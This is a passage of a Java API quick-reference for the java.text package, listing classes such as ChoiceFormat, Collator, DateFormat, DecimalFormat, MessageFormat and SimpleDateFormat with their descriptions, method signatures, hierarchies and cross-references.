Passed To: java.awt.Font.{canDisplayUpTo(), createGlyphVector(), getLineMetrics(), getStringBounds()}, java.awt.FontMetrics.{getLineMetrics(), getStringBounds()}, BreakIterator.setText(), CollationElementIterator.setText(), RuleBasedCollator.getCollationElementIterator()

Returned By: BreakIterator.getText()

ChoiceFormat | Java 1.1
java.text | cloneable serializable PJ1.1

This class is a subclass of Format that converts a number to a String in a way reminiscent of a switch statement or an enumerated type. Each ChoiceFormat object has an array of doubles known as its limits and an array of strings known as its formats. When the format() method is called to format a number x, the ChoiceFormat finds an index i such that:

limits[i] <= x < limits[i+1]

If x is less than the first element of the array, the first element is used, and if it is greater than the last, the last element is used. Once the index i has been determined, it is used as the index into the array of strings, and the indexed string is returned as the result of the format() method.

A ChoiceFormat object may also be created by encoding its limits and formats into a single string known as its pattern. A typical pattern looks like the one below, used to return the singular or plural form of a word based on the numeric value passed to the format() method:

ChoiceFormat cf = new ChoiceFormat("0#errors|1#error|2#errors");

A ChoiceFormat object created in this way returns the string "errors" when it formats the number 0 or any number greater than or equal to 2. It returns "error" when it formats the number 1. In the syntax shown here, note the pound sign (#) used to separate the limit number from the string that corresponds to that case and the vertical bar (|) used to separate the individual cases. You can use the applyPattern() method to change the pattern used by a ChoiceFormat object; use toPattern() to query the pattern it uses.

public class ChoiceFormat extends NumberFormat {
// | Public Constructors
 | public ChoiceFormat (String newPattern);
 | public ChoiceFormat (double[ ] limits, String[ ] formats);
// | Public Class Methods
 | public static final double nextDouble (double d);
 | public static double nextDouble (double d, boolean positive);
 | public static final double previousDouble (double d);
// | Public Instance Methods
 | public void applyPattern (String newPattern);
 | public Object[ ] getFormats ();
 | public double[ ] getLimits ();
 | public void setChoices (double[ ] limits, String[ ] formats);
 | public String toPattern ();
// | Public Methods Overriding NumberFormat
 | public Object clone ();
 | public boolean equals (Object obj);
 | public StringBuffer format (long number, StringBuffer toAppendTo, FieldPosition status);
 | public StringBuffer format (double number, StringBuffer toAppendTo, FieldPosition status);
 | public int hashCode ();
 | public Number parse (String text, ParsePosition status);
}

Hierarchy: Object-->Format(Cloneable,Serializable)-->NumberFormat-->ChoiceFormat

CollationElementIterator | Java 1.1
java.text | PJ1.1

A CollationElementIterator object is returned by the getCollationElementIterator() method of the RuleBasedCollator object. The purpose of this class is to allow a program to iterate (with the next() method) through the characters of a string, returning ordering values for each of the collation keys in the string. Note that collation keys are not exactly the same as characters. In the traditional Spanish collation order, for example, the two-character sequence "ch" is treated as a single collation key that comes alphabetically between the letters "c" and "d". The value returned by the next() method is the collation order of the next collation key in the string. This numeric value can be directly compared to the value returned by next() for other CollationElementIterator objects. The value returned by next() can also be decomposed into primary, secondary, and tertiary ordering values with the static methods of this class. This class is used by RuleBasedCollator to implement its compare() method and to create CollationKey objects. Few applications ever need to use it directly.

public final class CollationElementIterator {
// | No Constructor
// | Public Constants
 | public static final int NULLORDER ; | =-1
// | Public Class Methods
 | public static final int primaryOrder (int order); |
 | public static final short secondaryOrder (int order); |
 | public static final short tertiaryOrder (int order); |
// | Public Instance Methods
1.2 | public int getMaxExpansion (int order); |
 | public int getOffset (); |
 | public int next (); |
1.2 | public int previous (); |
 | public void reset (); |
 | public void setOffset (int newOffset); |
1.2 | public void setText (CharacterIterator source); |
 | public void setText (String source); |
}

Returned By: RuleBasedCollator.getCollationElementIterator()

CollationKey | Java 1.1
java.text | comparable PJ1.1

CollationKey objects compare strings more quickly than is possible with Collation.compare(). Objects of this class are returned by Collation.getCollationKey(). To compare two CollationKey objects, invoke the compareTo() method of key A, passing the key B as an argument (both CollationKey objects must be created through the same Collation object). The return value of this method is less than zero if the key A is collated before the key B, equal to zero if they are equivalent for the purposes of collation, or greater than zero if the key A is collated after the key B. Use getSourceString() to obtain the string represented by a CollationKey.

public final class CollationKey implements Comparable {
// | No Constructor
// | Public Instance Methods
 | public int compareTo (CollationKey target);
 | public String getSourceString ();
 | public byte[ ] toByteArray ();
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o);
// | Public Methods Overriding Object
 | public boolean equals (Object target);
 | public int hashCode ();
}

Hierarchy: Object-->CollationKey(Comparable)

Passed To: CollationKey.compareTo()

Returned By: Collator.getCollationKey(), RuleBasedCollator.getCollationKey()

Collator | Java 1.1
java.text | cloneable PJ1.1

This class compares, orders, and sorts strings in a way appropriate for the default locale or some other specified locale. Because it is an abstract class, it cannot be instantiated directly. Instead, you must use the static getInstance() method to obtain an instance of a Collator subclass that is appropriate for the default or specified locale. You can use getAvailableLocales() to determine whether a Collator object is available for a desired locale.

Once an appropriate Collator object has been obtained, you can use the compare() method to compare strings. The possible return values of this method are -1, 0, and 1, which indicate, respectively, that the first string is collated before the second, that the two are equivalent for collation purposes, and that the first string is collated after the second. The equals() method is a convenient shortcut for testing two strings for collation equivalence.

When sorting an array of strings, each string in the array is typically compared more than once. Using the compare() method in this case is inefficient. A more efficient method for comparing strings multiple times is to use getCollationKey() for each string to create CollationKey objects. These objects can then be compared to each other more quickly than the strings themselves can be compared.

You can customize the way the Collator object performs comparisons by calling setStrength(). If you pass the constant PRIMARY to this method, the comparison looks only at primary differences in the strings; it compares letters but ignores accents and case differences. If you pass the constant SECONDARY, it ignores case differences but does not ignore accents. And if you pass TERTIARY (the default), the Collator object takes both accents and case differences into account in its comparison.

public abstract class Collator implements Cloneablejava.util.Comparator {
// | Protected Constructors
 | protected Collator (); |
// | Public Constants
 | public static final int CANONICAL_DECOMPOSITION ; | =1
 | public static final int FULL_DECOMPOSITION ; | =2
 | public static final int IDENTICAL ; | =3
 | public static final int NO_DECOMPOSITION ; | =0
 | public static final int PRIMARY ; | =0
 | public static final int SECONDARY ; | =1
 | public static final int TERTIARY ; | =2
// | Public Class Methods
 | public static java.util.Locale[ ] getAvailableLocales (); | synchronized
 | public static Collator getInstance (); | synchronized
 | public static Collator getInstance (java.util.Locale desiredLocale); | synchronized
// | Public Instance Methods
 | public abstract int compare (String source, String target); |
 | public boolean equals (String source, String target); |
 | public abstract CollationKey getCollationKey (String source); |
 | public int getDecomposition (); | synchronized
 | public int getStrength (); | synchronized
 | public void setDecomposition (int decompositionMode); | synchronized
 | public void setStrength (int newStrength); | synchronized
// | Methods Implementing Comparator
1.2 | public int compare (Object o1, Object o2); |
 | public boolean equals (Object that); |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public abstract int hashCode (); |
}

Hierarchy: Object-->Collator(Cloneable,java.util.Comparator)

Subclasses: RuleBasedCollator

Returned By: Collator.getInstance()

DateFormat | Java 1.1
java.text | cloneable serializable PJ1.1

This class formats and parses dates and times in a locale-specific way. As an abstract class, it cannot be instantiated directly, but it provides a number of static methods that return instances of a concrete subclass you can use to format dates in a variety of ways. The getDateInstance() methods return a DateFormat object suitable for formatting dates in either the default locale or a specified locale. A formatting style may also optionally be specified; the constants FULL, LONG, MEDIUM, SHORT, and DEFAULT specify this style. Similarly, the getTimeInstance() methods return a DateFormat object that formats and parses times, and the getDateTimeInstance() methods return a DateFormat object that formats both dates and times. These methods also optionally take a format style constant and a Locale. Finally, getInstance() returns a default DateFormat object that formats both dates and times in the SHORT format.

Once you have created a DateFormat object, you can use the setCalendar() and setTimeZone() methods if you want to format the date using a calendar or time zone other than the default. The various format() methods convert java.util.Date objects to strings using whatever format is encapsulated in the DateFormat object. The parse() and parseObject() methods perform the reverse operation; they parse a string formatted according to the rules of the DateFormat object and convert it into to a Date object. The DEFAULT, FULL, MEDIUM, LONG, and SHORT constants specify how verbose or compact the formatted date or time should be. The remaining constants, which all end with _FIELD, specify various fields of formatted dates and times and are used with the FieldPosition object that is optionally passed to format().

public abstract class DateFormat extends Format {
// | Protected Constructors
 | protected DateFormat (); |
// | Public Constants
 | public static final int AM_PM_FIELD ; | =14
 | public static final int DATE_FIELD ; | =3
 | public static final int DAY_OF_WEEK_FIELD ; | =9
 | public static final int DAY_OF_WEEK_IN_MONTH_FIELD ; | =11
 | public static final int DAY_OF_YEAR_FIELD ; | =10
 | public static final int DEFAULT ; | =2
 | public static final int ERA_FIELD ; | =0
 | public static final int FULL ; | =0
 | public static final int HOUR0_FIELD ; | =16
 | public static final int HOUR1_FIELD ; | =15
 | public static final int HOUR_OF_DAY0_FIELD ; | =5
 | public static final int HOUR_OF_DAY1_FIELD ; | =4
 | public static final int LONG ; | =1
 | public static final int MEDIUM ; | =2
 | public static final int MILLISECOND_FIELD ; | =8
 | public static final int MINUTE_FIELD ; | =6
 | public static final int MONTH_FIELD ; | =2
 | public static final int SECOND_FIELD ; | =7
 | public static final int SHORT ; | =3
 | public static final int TIMEZONE_FIELD ; | =17
 | public static final int WEEK_OF_MONTH_FIELD ; | =13
 | public static final int WEEK_OF_YEAR_FIELD ; | =12
 | public static final int YEAR_FIELD ; | =1
// | Public Class Methods
 | public static java.util.Locale[ ] getAvailableLocales (); |
 | public static final DateFormat getDateInstance (); |
 | public static final DateFormat getDateInstance (int style); |
 | public static final DateFormat getDateInstance (int style, java.util.Locale aLocale); |
 | public static final DateFormat getDateTimeInstance (); |
 | public static final DateFormat getDateTimeInstance (int dateStyle, int timeStyle); |
 | public static final DateFormat getDateTimeInstance (int dateStyle, int timeStyle, java.util.Locale aLocale); |
 | public static final DateFormat getInstance (); |
 | public static final DateFormat getTimeInstance (); |
 | public static final DateFormat getTimeInstance (int style); |
 | public static final DateFormat getTimeInstance (int style, java.util.Locale aLocale); |
// | Property Accessor Methods (by property name)
 | public java.util.Calendar getCalendar (); |
 | public void setCalendar (java.util.Calendar newCalendar); |
 | public boolean isLenient (); |
 | public void setLenient (boolean lenient); |
 | public NumberFormat getNumberFormat (); |
 | public void setNumberFormat (NumberFormat newNumberFormat); |
 | public java.util.TimeZone getTimeZone (); |
 | public void setTimeZone (java.util.TimeZone zone); |
// | Public Instance Methods
 | public final String format (java.util.Date date); |
 | public abstract StringBuffer format (java.util.Date date, StringBuffer toAppendTo, FieldPosition fieldPosition); |
 | public java.util.Date parse (String text) throws ParseException; |
 | public abstract java.util.Date parse (String text, ParsePosition pos); |
// | Public Methods Overriding Format
 | public Object clone (); |
 | public final StringBuffer format (Object obj, StringBuffer toAppendTo, FieldPosition fieldPosition); |
 | public Object parseObject (String source, ParsePosition pos); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
// | Protected Instance Fields
 | protected java.util.Calendar calendar ; |
 | protected NumberFormat numberFormat ; |
}

Hierarchy: Object-->Format(Cloneable,Serializable)-->DateFormat

Subclasses: SimpleDateFormat

Returned By: DateFormat.{getDateInstance(), getDateTimeInstance(), getInstance(), getTimeInstance()}

DateFormatSymbols | Java 1.1
java.text | cloneable serializable PJ1.1

This class defines accessor methods for the various pieces of data, such as names of months and days, used by SimpleDateFormat to format and parse dates and times. You do not typically need to use this class unless you are formatting dates for an unsupported locale or in some highly customized way.

public class DateFormatSymbols implements CloneableSerializable {
// | Public Constructors
 | public DateFormatSymbols ();
 | public DateFormatSymbols (java.util.Locale locale);
// | Property Accessor Methods (by property name)
 | public String[ ] getAmPmStrings ();
 | public void setAmPmStrings (String[ ] newAmpms);
 | public String[ ] getEras ();
 | public void setEras (String[ ] newEras);
 | public String getLocalPatternChars ();
 | public void setLocalPatternChars (String newLocalPatternChars);
 | public String[ ] getMonths ();
 | public void setMonths (String[ ] newMonths);
 | public String[ ] getShortMonths ();
 | public void setShortMonths (String[ ] newShortMonths);
 | public String[ ] getShortWeekdays ();
 | public void setShortWeekdays (String[ ] newShortWeekdays);
 | public String[ ] getWeekdays ();
 | public void setWeekdays (String[ ] newWeekdays);
 | public String[ ][ ] getZoneStrings ();
 | public void setZoneStrings (String[ ][ ] newZoneStrings);
// | Public Methods Overriding Object
 | public Object clone ();
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->DateFormatSymbols(Cloneable,Serializable)

Passed To: SimpleDateFormat.{setDateFormatSymbols(), SimpleDateFormat()}

Returned By: SimpleDateFormat.getDateFormatSymbols()

DecimalFormat | Java 1.1
java.text | cloneable serializable PJ1.1

This is the concrete Format class used by NumberFormat for all locales that use base 10 numbers. Most applications do not need to use this class directly; they can use the static methods of NumberFormat to obtain a default NumberFormat object for a desired locale and then perform minor locale-independent customizations on that object.

Applications that require highly customized number formatting and parsing may create custom DecimalFormat objects by passing a suitable pattern to the DecimalFormat() constructor method. The applyPattern() method can change this pattern. A pattern consists of a string of characters from the table below. For example:

"$#,##0.00;($#,##0.00)"
Character | Meaning
# | A digit; zeros show as absent
0 | A digit; zeros show as 0
. | The locale-specific decimal separator
, | The locale-specific grouping separator (comma)
- | The locale-specific negative prefix
% | Shows value as a percentage
; | Separates positive number format (on left) from optional negative number format (on right)
' | Quotes a reserved character, so it appears literally in the output (apostrophe)
other | Appears literally in output

A DecimalFormatSymbols object can be specified optionally when creating a DecimalFormat object. If one is not specified, a DecimalFormatSymbols object suitable for the default locale is used.

public class DecimalFormat extends NumberFormat {
// | Public Constructors
 | public DecimalFormat (); |
 | public DecimalFormat (String pattern); |
 | public DecimalFormat (String pattern, DecimalFormatSymbols symbols); |
// | Property Accessor Methods (by property name)
 | public DecimalFormatSymbols getDecimalFormatSymbols (); |
 | public void setDecimalFormatSymbols (DecimalFormatSymbols newSymbols); |
 | public boolean isDecimalSeparatorAlwaysShown (); | default:false
 | public void setDecimalSeparatorAlwaysShown (boolean newValue); |
 | public int getGroupingSize (); | default:3
 | public void setGroupingSize (int newValue); |
1.2 | public void setMaximumFractionDigits (int newValue); | Overrides:NumberFormat
1.2 | public void setMaximumIntegerDigits (int newValue); | Overrides:NumberFormat
1.2 | public void setMinimumFractionDigits (int newValue); | Overrides:NumberFormat
1.2 | public void setMinimumIntegerDigits (int newValue); | Overrides:NumberFormat
 | public int getMultiplier (); | default:1
 | public void setMultiplier (int newValue); |
 | public String getNegativePrefix (); | default:"-"
 | public void setNegativePrefix (String newValue); |
 | public String getNegativeSuffix (); | default:""
 | public void setNegativeSuffix (String newValue); |
 | public String getPositivePrefix (); | default:""
 | public void setPositivePrefix (String newValue); |
 | public String getPositiveSuffix (); | default:""
 | public void setPositiveSuffix (String newValue); |
// | Public Instance Methods
 | public void applyLocalizedPattern (String pattern); |
 | public void applyPattern (String pattern); |
 | public String toLocalizedPattern (); |
 | public String toPattern (); |
// | Public Methods Overriding NumberFormat
 | public Object clone (); |
 | public boolean equals (Object obj); |
 | public StringBuffer format (long number, StringBuffer result, FieldPosition fieldPosition); |
 | public StringBuffer format (double number, StringBuffer result, FieldPosition fieldPosition); |
 | public int hashCode (); |
 | public Number parse (String text, ParsePosition parsePosition); |
}

Hierarchy: Object-->Format(Cloneable,Serializable)-->NumberFormat-->DecimalFormat

DecimalFormatSymbols | Java 1.1
java.text | cloneable serializable PJ1.1

This class defines the various characters and strings, such as the decimal point, percent sign, and thousands separator, used by DecimalFormat when formatting numbers. You do not typically use this class directly unless you are formatting dates for an unsupported locale or in some highly customized way.

public final class DecimalFormatSymbols implements CloneableSerializable {
// | Public Constructors
 | public DecimalFormatSymbols (); |
 | public DecimalFormatSymbols (java.util.Locale locale); |
// | Property Accessor Methods (by property name)
 | public String getCurrencySymbol (); | default:"$"
 | public void setCurrencySymbol (String currency); |
 | public char getDecimalSeparator (); | default:.
 | public void setDecimalSeparator (char decimalSeparator); |
 | public char getDigit (); | default:#
 | public void setDigit (char digit); |
 | public char getGroupingSeparator (); | default:,
 | public void setGroupingSeparator (char groupingSeparator); |
 | public String getInfinity (); | default:"\u221E"
 | public void setInfinity (String infinity); |
 | public String getInternationalCurrencySymbol (); | default:"USD"
 | public void setInternationalCurrencySymbol (String currency); |
 | public char getMinusSign (); | default:-
 | public void setMinusSign (char minusSign); |
 | public char getMonetaryDecimalSeparator (); | default:.
 | public void setMonetaryDecimalSeparator (char sep); |
 | public String getNaN (); | default:"\uFFFD"
 | public void setNaN (String NaN); |
 | public char getPatternSeparator (); | default:;
 | public void setPatternSeparator (char patternSeparator); |
 | public char getPercent (); | default:%
 | public void setPercent (char percent); |
 | public char getPerMill (); | default:\u2030
 | public void setPerMill (char perMill); |
 | public char getZeroDigit (); | default:0
 | public void setZeroDigit (char zeroDigit); |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public boolean equals (Object obj); |
 | public int hashCode (); |
}

Hierarchy: Object-->DecimalFormatSymbols(Cloneable,Serializable)

Passed To: DecimalFormat.{DecimalFormat(), setDecimalFormatSymbols()}

Returned By: DecimalFormat.getDecimalFormatSymbols()

FieldPosition | Java 1.1
java.text | PJ1.1

FieldPosition objects are optionally passed to the format() methods of the Format class and its subclasses to return additional information about the formatting that has been performed. The getBeginIndex() and getEndIndex() methods of this class return the starting and ending character positions of some field of the formatted string. The integer value passed to the FieldPosition() constructor specifies what field of the returned string should have its bounds returned. The NumberFormat and DateFormat classes define various constants (which end with the string _FIELD) that can be used here. Typically, this bounds information is useful for aligning formatted strings in columns--for example, aligning the decimal points in a column of numbers.

public class FieldPosition {
// | Public Constructors
 | public FieldPosition (int field);
// | Public Instance Methods
 | public int getBeginIndex ();
 | public int getEndIndex ();
 | public int getField ();
 | public void setBeginIndex (int bi);
 | public void setEndIndex (int ei);
// | Public Methods Overriding Object
1.2 | public boolean equals (Object obj);
1.2 | public int hashCode ();
1.2 | public String toString ();
}

Passed To: ChoiceFormat.format(), DateFormat.format(), DecimalFormat.format(), Format.format(), MessageFormat.format(), NumberFormat.format(), SimpleDateFormat.format()

Format | Java 1.1
java.text | cloneable serializable PJ1.1

This abstract class is the base class for all number, date, and string formatting classes in the java.text package. It defines two abstract methods that are implemented by subclasses. format() converts an object to a string using the formatting rules encapsulated by the Format subclass and optionally appends the resulting string to an existing StringBuffer. parseObject() performs the reverse operation; it parses a formatted string and returns the corresponding object. Status information for these two operations is returned in FieldPosition and ParsePosition objects. The nonabstract methods of this class are simple shortcuts that rely on implementations of the abstract methods. See ChoiceFormat, DateFormat, MessageFormat, and NumberFormat.

public abstract class Format implements CloneableSerializable {
// | Public Constructors
 | public Format ();
// | Public Instance Methods
 | public final String format (Object obj);
 | public abstract StringBuffer format (Object obj, StringBuffer toAppendTo, FieldPosition pos);
 | public Object parseObject (String source) throws ParseException;
 | public abstract Object parseObject (String source, ParsePosition status);
// | Public Methods Overriding Object
 | public Object clone ();
}

Hierarchy: Object-->Format(Cloneable,Serializable)

Subclasses: DateFormat, MessageFormat, NumberFormat

Passed To: MessageFormat.{setFormat(), setFormats()}

Returned By: MessageFormat.getFormats()

MessageFormat | Java 1.1
java.text | cloneable serializable PJ1.1

This class formats and substitutes objects into specified positions in a message string (also known as the pattern string). It provides the closest Java equivalent to the printf() function of the C programming language. If a message is to be displayed only a single time, the simplest way to use the MessageFormat class is through the static format() method. This method is passed a message or pattern string and an array of argument objects to be formatted and substituted into the string. If the message is to be displayed several times, it makes more sense to create a MessageFormat object, supplying the pattern string, and then call the format() instance method of this object, supplying the array of objects to be formatted into the message.

The message or pattern string used by the MessageFormat contains digits enclosed in curly braces to indicate where each argument should be substituted. The sequence "{0}" indicates that the first object should be converted to a string (if necessary) and inserted at that point, while the sequence "{3}" indicates that the fourth object should be inserted. If the object to be inserted is not a string, MessageFormat checks to see if it is a Date or a subclass of Number. If so, it uses a default DateFormat or NumberFormat object to convert the value to a string. If not, it simply invokes the object's toString() method to convert it.

A digit within curly braces in a pattern string may be followed optionally by a comma, and one of the words "date", "time", "number", or "choice", to indicate that the corresponding argument should be formatted as a date, time, number, or choice before being substituted into the pattern string. Any of these keywords can additionally be followed by a comma and additional pattern information to be used in formatting the date, time, number, or choice. (See SimpleDateFormat, DecimalFormat, and ChoiceFormat for more information.)

You can use the setLocale() method to specify a nondefault Locale that the MessageFormat should use when obtaining DateFormat and NumberFormat objects to format dates, time, and numbers inserted into the pattern. You can change the Format object used at a particular position in the pattern with the setFormat() method. You can set a new pattern for the MessageFormat object by calling applyPattern(), and you can obtain a string that represents the current formatting pattern by calling toPattern(). MessageFormat also supports a parse() method that can parse an array of objects out of a specified string, according to the specified pattern.

public class MessageFormat extends Format {
// | Public Constructors
 | public MessageFormat (String pattern);
// | Public Class Methods
 | public static String format (String pattern, Object[ ] arguments);
// | Public Instance Methods
 | public void applyPattern (String newPattern);
 | public final StringBuffer format (Object[ ] source, StringBuffer result, FieldPosition ignore);
 | public Format[ ] getFormats ();
 | public java.util.Locale getLocale ();
 | public Object[ ] parse (String source) throws ParseException;
 | public Object[ ] parse (String source, ParsePosition status);
 | public void setFormat (int variable, Format newFormat);
 | public void setFormats (Format[ ] newFormats);
 | public void setLocale (java.util.Locale theLocale);
 | public String toPattern ();
// | Public Methods Overriding Format
 | public Object clone ();
 | public final StringBuffer format (Object source, StringBuffer result, FieldPosition ignore);
 | public Object parseObject (String text, ParsePosition status);
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->Format(Cloneable,Serializable)-->MessageFormat

NumberFormat | Java 1.1
java.text | cloneable serializable PJ1.1

This class formats and parses numbers in a locale-specific way. As an abstract class, it cannot be instantiated directly, but it provides a number of static methods that return instances of a concrete subclass you can use for formatting. The getInstance() method returns a NumberFormat object suitable for normal formatting of numbers in either the default locale or in a specified locale. getCurrencyInstance() and getPercentInstance() return NumberFormat objects for formatting numbers that represent monetary amounts and percentages, in either the default locale or in a specified locale. getAvailableLocales() returns an array of locales for which NumberFormat objects are available.

Once you have created a suitable NumberFormat object, you can customize its locale-independent behavior with setMaximumFractionDigits(), setGroupingUsed(), and similar set methods. In order to customize the locale-dependent behavior, you can use instanceof to test if the NumberFormat object is an instance of DecimalFormat, and, if so, cast it to that type. The DecimalFormat class provides complete control over number formatting. Note, however, that a NumberFormat customized in this way may no longer be appropriate for the desired locale.

After creating and customizing a NumberFormat object, you can use the various format() methods to convert numbers to strings or string buffers, and you can use the parse() or parseObject() methods to convert strings to numbers. The constants defined by this class are to be used by the FieldPosition object. The NumberFormat class in not intended for the display of very large or very small numbers that require exponential notation, and it may not gracefully handle infinite or NaN (not-a-number) values.

public abstract class NumberFormat extends Format {
// | Public Constructors
 | public NumberFormat (); |
// | Public Constants
 | public static final int FRACTION_FIELD ; | =1
 | public static final int INTEGER_FIELD ; | =0
// | Public Class Methods
 | public static java.util.Locale[ ] getAvailableLocales (); |
 | public static final NumberFormat getCurrencyInstance (); |
 | public static NumberFormat getCurrencyInstance (java.util.Locale inLocale); |
 | public static final NumberFormat getInstance (); |
 | public static NumberFormat getInstance (java.util.Locale inLocale); |
 | public static final NumberFormat getNumberInstance (); |
 | public static NumberFormat getNumberInstance (java.util.Locale inLocale); |
 | public static final NumberFormat getPercentInstance (); |
 | public static NumberFormat getPercentInstance (java.util.Locale inLocale); |
// | Property Accessor Methods (by property name)
 | public boolean isGroupingUsed (); |
 | public void setGroupingUsed (boolean newValue); |
 | public int getMaximumFractionDigits (); |
 | public void setMaximumFractionDigits (int newValue); |
 | public int getMaximumIntegerDigits (); |
 | public void setMaximumIntegerDigits (int newValue); |
 | public int getMinimumFractionDigits (); |
 | public void setMinimumFractionDigits (int newValue); |
 | public int getMinimumIntegerDigits (); |
 | public void setMinimumIntegerDigits (int newValue); |
 | public boolean isParseIntegerOnly (); |
 | public void setParseIntegerOnly (boolean value); |
// | Public Instance Methods
 | public final String format (long number); |
 | public final String format (double number); |
 | public abstract StringBuffer format (long number, StringBuffer toAppendTo, FieldPosition pos); |
 | public abstract StringBuffer format (double number, StringBuffer toAppendTo, FieldPosition pos); |
 | public Number parse (String text) throws ParseException; |
 | public abstract Number parse (String text, ParsePosition parsePosition); |
// | Public Methods Overriding Format
 | public Object clone (); |
 | public final StringBuffer format (Object number, StringBuffer toAppendTo, FieldPosition pos); |
 | public final Object parseObject (String source, ParsePosition parsePosition); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
}

Hierarchy: Object-->Format(Cloneable,Serializable)-->NumberFormat

Subclasses: ChoiceFormat, DecimalFormat

Passed To: DateFormat.setNumberFormat()

Returned By: DateFormat.getNumberFormat(), NumberFormat.{getCurrencyInstance(), getInstance(), getNumberInstance(), getPercentInstance()}

Type Of: DateFormat.numberFormat

ParseException | Java 1.1
java.text | serializable checked PJ1.1

Signals that a string has an incorrect format and cannot be parsed. It is typically thrown by the parse() or parseObject() methods of Format and its subclasses, but is also thrown by certain methods in the java.text package that are passed patterns or other rules in string form. The getErrorOffset() method of this class returns the character position at which the parsing error occurred in the offending string.

public class ParseException extends Exception {
// | Public Constructors
 | public ParseException (String s, int errorOffset);
// | Public Instance Methods
 | public int getErrorOffset ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ParseException

Thrown By: DateFormat.parse(), Format.parseObject(), MessageFormat.parse(), NumberFormat.parse(), RuleBasedCollator.RuleBasedCollator()

ParsePosition | Java 1.1
java.text | PJ1.1

ParsePosition objects are passed to the parse() and parseObject() methods of Format and its subclasses. The ParsePosition class represents the position in a string at which parsing should begin or at which parsing stopped. Before calling a parse() method, you can specify the starting position of parsing by passing the desired index to the ParsePosition() constructor or by calling the setIndex() of an existing ParsePosition object. When parse() returns, you can determine where parsing ended by calling getIndex(). When parsing multiple objects or values from a string, a single ParsePosition object can be used sequentially.

public class ParsePosition {
// | Public Constructors
 | public ParsePosition (int index);
// | Public Instance Methods
1.2 | public int getErrorIndex ();
 | public int getIndex ();
1.2 | public void setErrorIndex (int ei);
 | public void setIndex (int index);
// | Public Methods Overriding Object
1.2 | public boolean equals (Object obj);
1.2 | public int hashCode ();
1.2 | public String toString ();
}

Passed To: ChoiceFormat.parse(), DateFormat.{parse(), parseObject()}, DecimalFormat.parse(), Format.parseObject(), MessageFormat.{parse(), parseObject()}, NumberFormat.{parse(), parseObject()}, SimpleDateFormat.parse()

RuleBasedCollator | Java 1.1
java.text | cloneable PJ1.1

This class is a concrete subclass of the abstract Collator class. It performs collations using a table of rules that are specified in textual form. Most applications do not use this class directly; instead they call Collator.getInstance() to obtain a Collator object (typically a RuleBasedCollator object) that implements the default collation order for a specified or default locale. You should need to use this class only if you are collating strings for a locale that is not supported by default or if you need to implement a highly customized collation order.

public class RuleBasedCollator extends Collator {
// | Public Constructors
 | public RuleBasedCollator (String rules) throws ParseException; |
// | Public Instance Methods
1.2 | public CollationElementIterator getCollationElementIterator (CharacterIterator source); |
 | public CollationElementIterator getCollationElementIterator (String source); |
 | public String getRules (); |
// | Public Methods Overriding Collator
 | public Object clone (); |
 | public int compare (String source, String target); | synchronized
 | public boolean equals (Object obj); |
 | public CollationKey getCollationKey (String source); | synchronized
 | public int hashCode (); |
}

Hierarchy: Object-->Collator(Cloneable,java.util.Comparator)-->RuleBasedCollator

SimpleDateFormat | Java 1.1
java.text | cloneable serializable PJ1.1

This is the concrete Format subclass used by DateFormat to handle the formatting and parsing of dates. Most applications should not use this class directly; instead, they should obtain a localized DateFormat object by calling one of the static methods of DateFormat.

SimpleDateFormat formats dates and times according to a pattern, which specifies the positions of the various fields of the date, and a DateFormatSymbols object, which specifies important auxiliary data, such as the names of months. Applications that require highly customized date or time formatting can create a custom SimpleDateFormat object by specifying the desired pattern. This creates a SimpleDateFormat object that uses the DateFormatSymbols object for the default locale. You may also specify an locale explicitly, to use the DateFormatSymbols object for that locale. You can even provide an explicit DateFormatSymbols object of your own if you need to format dates and times for an unsupported locale.

You can use the applyPattern() method of a SimpleDateFormat to change the formatting pattern used by the object. The syntax of this pattern is described in the table below. Any characters in the format string that do not appear in this table appear literally in the formatted date.

Field | Full Form | Short Form
Year | yyyy (4 digits) | yy (2 digits)
Month | MMM (name) | MM (2 digits), M (1 or 2 digits)
Day of week | EEEE | EE
Day of month | dd (2 digits) | d (1 or 2 digits)
Hour (1-12) | hh (2 digits) | h (1 or 2 digits)
Hour (0-23) | HH (2 digits) | H (1 or 2 digits)
Hour (0-11) | KK | K
Hour (1-24) | kk | k
Minute | mm |
Second | ss |
Millisecond | SSS |
AM/PM | a |
Time zone | zzzz | zz
Day of week in month | F (e.g., 3rd Thursday) |
Day in year | DDD (3 digits) | D (1, 2, or 3 digits)
Week in year | ww |
Era (e.g., BC/AD) | G |
public class SimpleDateFormat extends DateFormat {
// | Public Constructors
 | public SimpleDateFormat ();
 | public SimpleDateFormat (String pattern);
 | public SimpleDateFormat (String pattern, DateFormatSymbols formatData);
 | public SimpleDateFormat (String pattern, java.util.Locale loc);
// | Public Instance Methods
 | public void applyLocalizedPattern (String pattern);
 | public void applyPattern (String pattern);
1.2 | public java.util.Date get2DigitYearStart ();
 | public DateFormatSymbols getDateFormatSymbols ();
1.2 | public void set2DigitYearStart (java.util.Date startDate);
 | public void setDateFormatSymbols (DateFormatSymbols newFormatSymbols);
 | public String toLocalizedPattern ();
 | public String toPattern ();
// | Public Methods Overriding DateFormat
 | public Object clone ();
 | public boolean equals (Object obj);
 | public StringBuffer format (java.util.Date date, StringBuffer toAppendTo, FieldPosition pos);
 | public int hashCode ();
 | public java.util.Date parse (String text, ParsePosition pos);
}

Hierarchy: Object-->Format(Cloneable,Serializable)-->DateFormat-->SimpleDateFormat

StringCharacterIterator | Java 1.1
java.text | cloneable PJ1.1

This class is a trivial implementation of the CharacterIterator interface that works for text stored in Java String objects. See CharacterIterator for details.

public final class StringCharacterIterator implements CharacterIterator {
// | Public Constructors
 | public StringCharacterIterator (String text);
 | public StringCharacterIterator (String text, int pos);
 | public StringCharacterIterator (String text, int begin, int end, int pos);
// | Public Instance Methods
1.2 | public void setText (String text);
// | Methods Implementing CharacterIterator
 | public Object clone ();
 | public char current ();
 | public char first ();
 | public int getBeginIndex ();
 | public int getEndIndex ();
 | public int getIndex ();
 | public char last ();
 | public char next ();
 | public char previous ();
 | public char setIndex (int p);
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

